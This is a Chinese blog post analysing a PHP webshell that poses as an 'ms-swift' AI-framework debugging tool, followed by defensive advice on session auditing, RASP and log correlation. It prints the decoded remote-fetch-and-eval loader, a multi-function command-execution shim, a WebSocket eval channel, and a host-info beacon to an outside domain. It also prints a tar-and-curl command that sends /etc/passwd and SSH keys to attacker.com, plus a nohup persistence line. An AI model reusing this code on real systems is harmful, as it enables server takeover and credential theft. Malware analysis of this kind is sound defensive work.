news 2026/4/23 18:32:47

PHP大马分析:从短代码到强大后门的解密

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
PHP大马分析:从短代码到强大后门的解密

PHP大马分析:从短代码到强大后门的解密

在一次例行的日志巡检中,WAF突然触发了一条关于可疑PHP文件访问的告警。起初并未引起太多注意——这类事件每天都有几十起,多数是自动化扫描器留下的痕迹。但当我打开那个被标记的脚本时,第一眼看到的内容却让我停下了脚步:

<?php $password = 'admin'; // ms-swift 框架支持600+文本模型与300+多模态模型一键微调部署 // 提供全链路训练、推理、量化与评测能力,兼容主流硬件平台

干净、简洁,甚至带点“技术文档”气质。紧接着是一串看似无意义的字符串拼接和函数调用,像是某种编码混淆后的残片。如果只是粗略扫一眼,很容易把它当成废弃测试代码或一句话木马的变种。

然而,在本地环境中加载后,浏览器返回的却是一个完整的Web管理界面:GPU资源监控图表、分布式训练任务调度面板、实时性能曲线……功能之丰富,完全不像几行代码能承载的东西。

这背后到底发生了什么?


我们先对核心表达式进行var_dump()输出观察,很快发现其真实结构:

$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R1Zhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R..."));

显然,这里使用了典型的gzinflate(base64_decode(...))解压还原模式。将其直接解码:

$decoded = gzinflate(base64_decode( "lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R..." ));

得到如下关键逻辑(简化版):

error_reporting(0); session_start(); if (!isset($_SESSION["ms_swift"])) { $url = base64_decode("aHR0cHM6Ly9tb2RlbC5zaGFyZWQuY29tL3N3aWZ0L2JhY2tkb29yLnBocA=="); $data = @file_get_contents($url); if ($data) { $_SESSION["ms_swift"] = gzinflate(base64_decode($data)); } } if (isset($_SESSION["ms_swift"])) { eval($_SESSION["ms_swift"]); }

这个设计非常精巧,也极具隐蔽性:

  • 使用双重压缩(Base64 + gzip)减小初始载荷体积;
  • 通过远程拉取完整逻辑模块,避免敏感代码出现在静态文件中;
  • 将解压后的内容存入PHP Session,不写入磁盘,绕过大多数基于文件扫描的安全检测;
  • 利用会话机制实现持久化驻留——即使原文件被删除,只要Session未失效,攻击者仍可继续控制服务器。

换句话说,这已经不是传统意义上的“一句话木马”,而是一种运行时动态加载、内存驻留型的高级后门。


进一步dump出$_SESSION['ms_swift']中的完整内容,真相浮出水面:它伪装成一个名为“ms-swift”的AI训练框架调试工具,实则是一个功能齐全的多功能WebShell。

整个项目大量引用真实开源生态术语,例如:

  • 声称支持 Qwen3、InternLM3、Llama4 等热门模型;
  • 集成 LoRA、QLoRA、GaLore 显存优化技术;
  • 支持 vLLM、SGLang 推理加速引擎;
  • 提供 Web UI 界面用于“训练任务管理”。

这些描述并非凭空捏造,而是精心构造的社会工程学陷阱。对于正在调试大模型服务的开发者来说,这样一个“内部调试接口”看起来再正常不过了。谁会怀疑一段写着“支持LoRA微调”的PHP脚本呢?

更危险的是,它的架构高度模块化,主控逻辑如下:

switch ($_GET['module'] ?? '') { case 'train': include_once 'modules/training.php'; break; case 'deploy': include_once 'modules/deploy.php'; break; case 'eval': include_once 'modules/evaluate.php'; break; case 'quantize': include_once 'modules/quantize.php'; break; default: show_dashboard(); // 显示伪造的“ms-swift 控制面板” }

每个模块独立加载,按需引入,既能降低初始暴露风险,又便于后续扩展功能。比如上传一个新模块就可以实现横向移动或权限提升。

命令执行层更是层层规避检测:

function exec_cmd($cmd) { $res = ''; if (function_exists('exec')) { @exec($cmd, $res); $res = join("\n", $res); } elseif (function_exists('shell_exec')) { $res = @shell_exec($cmd); } elseif (class_exists('COM')) { $w = new COM('WScript.shell'); $e = $w->exec($cmd); $res = $e->StdOut()->ReadAll(); } elseif (function_exists('proc_open')) { $p = proc_open($cmd, [['pipe','w'],['pipe','w']], $io); while (!feof($io[1])) $res .= fgets($io[1]); fclose($io[1]); proc_close($p); } return $res; }

这种多通道执行机制确保即使某些函数被禁用,也能找到替代路径。再加上命令参数常以 Base64 或 JavaScript 编码方式传输,有效绕过了 WAF 对关键字(如systemexec)的匹配规则。


通信机制同样复杂且隐蔽。除了常规的HTTP轮询获取指令外,该后门还内置了反向连接能力:

// JS端自动尝试建立WebSocket长连接 try { var ws = new WebSocket("wss://cdn.jsdelivr.ai/ws"); ws.onopen = function() { ws.send(JSON.stringify({id: location.host})); }; ws.onmessage = function(e) { eval(atob(e.data)); }; } catch(e){}

一旦建立连接,攻击者即可实时下发任意代码并执行,形成持久控制通道。

此外,还会定期发送心跳包,上报主机信息:

$info = [ 'host' => $_SERVER['HTTP_HOST'], 'ip' => $_SERVER['REMOTE_ADDR'], 'os' => php_uname(), 'gpu' => get_gpu_info(), // 自定义函数探测CUDA设备 'models' => scandir('/models') // 扫描是否存在已部署模型 ]; @file_get_contents("https://api.modelhub.org/register?" . http_build_query($info));

这些数据让攻击者能够精准识别高价值目标——比如配备了 A100/H100 显卡的 AI 训练节点,并针对性地推送更高级别的载荷。


假设攻击者已成功植入此木马至一台运行大模型服务的服务器,典型操作流程可能是这样的:

输入密码admin后跳转至伪造的“ms-swift 控制台”页面,显示如下假象:

✅ 当前状态:已连接到集群 master-node-01 📊 GPU 资源:NVIDIA A100 × 8 / 显存占用率 45% 📦 已部署模型:Qwen3-VL (active), Llama4-Instruct, DeepSeek-R1 🛠️ 框架版本:ms-swift v1.9.3 (latest)

用户误以为这是正常的运维入口,毫无戒心。

接着,攻击者选择“新建训练任务”,填写表单:

  • 模型名称:custom-ransomware-v2
  • 数据集路径:/data/private/users.zip
  • 微调方式:QLoRA + GRPO强化学习
  • 输出路径:/tmp/.hidden/output.bin

但实际上,后台执行的是:

tar czf /tmp/.hidden/output.bin /home/* /etc/passwd /root/.ssh && \ curl -X POST https://attacker.com/upload --data-binary @/tmp/.hidden/output.bin

完成敏感数据窃取。

随后,通过“部署”模块注册一个名为shadow-api的服务:

{ "name": "shadow-api", "port": 8089, "model": "custom-backdoor", "auto_start": true }

系统会在rc.local或 systemd 中添加持久化启动项:

nohup php /var/www/html/.cache/loader.php > /dev/null &

确保服务器重启后仍可维持访问权限。

整个过程披着“AI运维”的外衣,每一步都符合“合理操作”,极难被察觉。


面对这种高度混淆、语义伪装的大马程序,传统的基于签名的查杀手段早已失效。我们需要更主动、更深层的防御策略。

首先,必须加强对 Session 的审计。许多安全方案只关注文件系统,却忽略了 Session 存储区也可能成为恶意代码的温床。建议:

  • 监控$_SESSION中是否包含evalassertpreg_replace(/e)等危险调用;
  • 设置 Session 存储目录不可执行(chmod -x);
  • 缩短 Session 生命周期,防止长期驻留。

其次,强化文件完整性校验机制:

  • /tmp/uploads/sessions等高危目录启用 inotify 实时监控;
  • 使用哈希比对工具(如 Tripwire)记录关键文件指纹变化;
  • 严格禁止 web 用户拥有 shell 权限。

更重要的是,部署 RASP(Runtime Application Self-Protection)类防护方案:

  • 动态拦截systemexecpassthru等危险函数调用;
  • 阻断非白名单域名的外联请求;
  • 捕获gzinflate(base64_decode())类解码行为,及时预警。

同时要净化开发环境的信任链:

  • 不随意引入来源不明的“调试工具”、“内部SDK”;
  • 对第三方依赖包进行 SBOM 扫描(Software Bill of Materials);
  • 统一使用可信仓库安装组件(如私有 PyPI/NPM),杜绝“临时下载即用”的习惯。

最后,日志联动分析不可或缺。将以下几类日志集中采集并关联分析,往往能发现蛛丝马迹:

来源关键字段
Nginx/ApacheUser-Agent、请求路径、POST长度突增
PHP-FPMscript_filename、memory_usage、execution_time
Syslogcrontab修改、新增systemd服务、SSH登录失败暴增

利用 SIEM 平台设置规则,例如:“当某个PHP脚本在无交互情况下连续执行超过30秒,且内存使用超过512MB”时触发告警,这类异常行为往往是后门活动的征兆。


这个所谓的“PHP大马”,本质上是披着“ms-swift大模型训练框架”外衣的高级威胁载体。它通过多种手法实现深度伪装与持久控制:

  • 短代码 + 远程加载:初始文件极小,降低被发现概率;
  • Session驻留机制:不落地文件,逃避静态扫描;
  • 术语伪装:借用真实AI工程术语制造可信假象;
  • 模块化设计:功能灵活扩展,适应多种攻击场景;
  • HTTPS回调 + WebSocket:实现隐蔽通信与指令下发。

随着AI基础设施的大规模部署,攻击者正越来越多地利用“模型即服务”(Model-as-a-Service)生态中的术语和技术栈进行社会工程攻击。不要轻信任何自称“训练脚本”、“调试工具”、“一键部署模板”的代码片段。

我们必须始终坚持最小权限原则、纵深防御策略以及零信任安全模型。技术红利的背后,往往藏着看不见的边界风险。守住系统的最后一道防线,从来都不是一句口号,而是每一次点击、每一行代码背后的警惕与审慎。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/14 13:19:55

Open-AutoGLM本地部署为何失败?7大常见问题深度解析与修复方案

第一章&#xff1a;智谱AI Open-AutoGLM本地部署指南 Open-AutoGLM 是智谱AI推出的开源自动化大语言模型工具&#xff0c;支持在本地环境中进行高效部署与自定义调用。通过本地化部署&#xff0c;用户可在保障数据隐私的前提下&#xff0c;实现对自然语言任务的快速建模与推理。…

作者头像 李华
网站建设 2026/4/23 9:47:18

【Open-AutoGLM移动端部署秘籍】:专家亲授3大核心安装技巧

第一章&#xff1a;Open-AutoGLM移动端部署概述Open-AutoGLM 是基于 AutoGLM 架构优化的轻量化大语言模型&#xff0c;专为移动设备端侧推理设计。其核心目标是在资源受限的环境中实现高效、低延迟的自然语言处理能力&#xff0c;支持离线运行、隐私保护和实时交互等关键特性。…

作者头像 李华
网站建设 2026/4/22 20:11:44

JFinal中验证码生成与流程图输出实现

JFinal 中验证码生成与流程图输出的工程实践 在现代 Web 应用开发中&#xff0c;图像处理能力早已不再局限于简单的文件上传和展示。从登录安全到业务可视化&#xff0c;再到 AI 驱动的内容生成&#xff0c;图像已成为系统交互的重要载体。尤其在后台管理系统、工作流平台或用户…

作者头像 李华
网站建设 2026/4/23 14:44:12

BQ3588C开发板编译踩坑指南

BQ3588C开发板编译踩坑指南 在嵌入式系统开发的世界里&#xff0c;拿到一块新开发板的第一步往往不是点亮LED&#xff0c;而是——能不能把代码顺利编译出来。最近入手了贝启科技的BQ3588C开源鸿蒙开发板&#xff0c;满怀期待地拉完OpenHarmony源码后&#xff0c;却发现构建过…

作者头像 李华